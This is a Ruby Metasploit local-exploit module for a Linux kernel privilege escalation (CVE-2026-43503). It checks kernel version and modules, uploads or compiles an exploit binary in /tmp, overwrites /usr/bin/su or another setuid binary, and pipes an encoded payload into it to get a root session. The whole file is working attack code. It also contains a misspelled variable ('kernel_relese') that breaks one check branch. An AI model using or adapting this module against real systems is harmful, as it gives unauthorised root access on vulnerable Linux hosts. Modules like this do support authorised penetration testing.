Sample Linux Priv Esc

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::Linux::Compile
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sample Linux Priv Esc', 'Description' => %q{
                                             This exploit module illustrates how a vulnerability could be exploited
                                             in an linux command for priv esc.
                                           },
        'License' => MSF_LICENSE,
        'Author' => [
          'Eddy Tsalolikhin', # research & discovery
          'Or Peles', # research & discovery
          'msutovsky-r7' # msf module
        ],
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_CMD ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' => [
          [ 'URL', 'https://research.jfrog.com/post/dissecting-and-exploiting-linux-lpe-variant-dirtyclone-cve-2026-43503/'],
          [ 'CVE', '2026-43503']
        ],
        'DisclosureDate' => '2026-05-21',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    # force exploit is used to bypass the check command results
    register_advanced_options [
      OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),
      OptString.new('SUID_BINARY_PATH', [ true, 'A target setuid binary that will be used to escalate privileges', '/usr/bin/su' ])
    ]
  end

  def base_dir
    datastore['WRITABLEDIR'].to_s
  end

  def check
    kernel_release = kernel_rex_release

    return CheckCode::Unknown('Could not determine kernel release') if kernel_release.nil?

    return CheckCode::Safe('The patched version detected') if kernel_release[:upstream] > Rex::Version.new('7.1') || (kernel_release[:upstream] == Rex::Version.new('7.1') && kernel_relese[:distro_suffix] == Rex::Version.new('rc5'))

    active_kernel_modules = kernel_modules

    required_esp_modules = %w[esp4 esp6]

    return CheckCode::Detected('The required ESP vulnerable module are not active') unless active_kernel_modules.any? { |m| required_esp_modules.include?(m) }

    return CheckCode::Detected('The required xt_TEE module are not active') unless active_kernel_modules.include?('xt_TEE')

    CheckCode::Appears('Detected vulnerable kernel version and required modules are active')
  end

  def exploit
    fail_with(Failure::None, 'Session already has root privileges.') unless datastore['ForceExploit'] || !is_root?

    arch = kernel_arch

    fail_with(Failure::BadConfig, 'Currently supports only x64') unless arch == ARCH_X64

    target_dir = base_dir

    fail_with(Failure::BadConfig, "#{target_dir} is not writable") unless writable?(target_dir)

    setuid_binary_path = datastore['SUID_BINARY_PATH'].to_s

    exploit_file = "#{target_dir}/#{Rex::Text.rand_text_alpha_lower(6..12)}"

    if live_compile?
      exploit_c = exploit_data('CVE-2026-43503', 'cve-2026-43503.c')
      vprint_status('Compiling exploit live on target')
      upload_and_compile(exploit_file, exploit_c)
    else
      vprint_status('Uploading precompiled exploit')
      exploit_binary = exploit_data('CVE-2026-43503', 'cve-2026-43503-x64')
      upload_and_chmodx(exploit_file, exploit_binary)
    end

    vprint_status("Exploit in #{exploit_file}")

    exploit_response = cmd_exec("#{exploit_file} #{setuid_binary_path} && echo $?")

    vprint_status("Return code from exploit: #{exploit_response}")

    fail_with(Failure::PayloadFailed, "Failed to overwrite bytes of #{setuid_binary_path}") unless exploit_response == '0'

    cmd_exec("echo -n #{Base64.strict_encode64(payload.encoded)} | base64 -d | #{setuid_binary_path}")
  end

  def on_new_session(session)
    vprint_status('Cleaning up after exploit')
    if session.type.eql?('meterpreter')
      session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
      session.sys.process.execute('/bin/sh', "-c 'echo 1 | tee /proc/sys/vm/drop_caches'")
    else
      session.shell_command_token('echo 1 | tee /proc/sys/vm/drop_caches')
    end
  end
end